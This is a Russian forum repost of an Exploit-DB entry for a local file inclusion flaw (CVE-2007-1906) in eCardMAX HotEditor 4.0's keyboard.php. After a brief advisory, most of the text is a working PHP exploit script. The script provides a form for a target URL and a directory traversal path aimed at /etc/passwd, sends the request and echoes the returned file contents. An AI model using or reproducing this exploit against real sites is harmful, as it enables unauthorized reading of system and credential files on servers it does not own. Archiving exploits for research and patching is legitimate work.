Exploit eCardMAX HotEditor 4.0 - 'Keyboard.php' Local File Inclusion

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
29827
Проверка EDB
  1. Пройдено
Автор
LIZ0ZIM
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
cve-2007-1906
Дата публикации
2007-04-09
eCardMAX HotEditor 4.0 - 'Keyboard.php' Local File Inclusion
Код:
source: https://www.securityfocus.com/bid/23377/info

eCardMAX HotEditor is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

HotEditor 4.0 is vulnerable; other versions may also be affected. This issue also affects versions that may be integrated into phpBB2, MyBB, Simple Machine Forum, and PunBB Forum.

<?php
/*
Vendor : Liz0ziM
Web    : www.expw0rm.com
Mail   : [email protected]
---------------------------------------
Vul. Code : keyboard.php line 3


        require_once "./vk_code/$first";
----------------------------------------
*/
?>

Hot Editor Local File &#304;nclude Exploit <a 
href="http://www.expw0rm.com">Expw0rm</a> By Liz0ziM<br>
<form method="POST">
Target Url: <input name="url" type="text"> example: 
http://victim.com/richedit/<br>
File :<input name="sec" type="text"> example : 
../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd 
<br>
<input type=submit name="yolla" value="Send"><br>
<?
if(isset($_POST[yolla]))
{
$url=$_POST[url];
$sec=$_POST[sec];
$git=$url."/keyboard.php?first=".$sec;
$ac=fopen($git,"r") or die("acamadim");;

while(!feof($ac) )
{
$cek=fgets($ac,1024);
if(eregi("<html>",$cek)) { echo '<br>Finishim'; exit();}
echo '<pre>';
echo $cek;
echo '</pre>';
}
fclose($ac);
}
?>
 
Источник
www.exploit-db.com

Похожие темы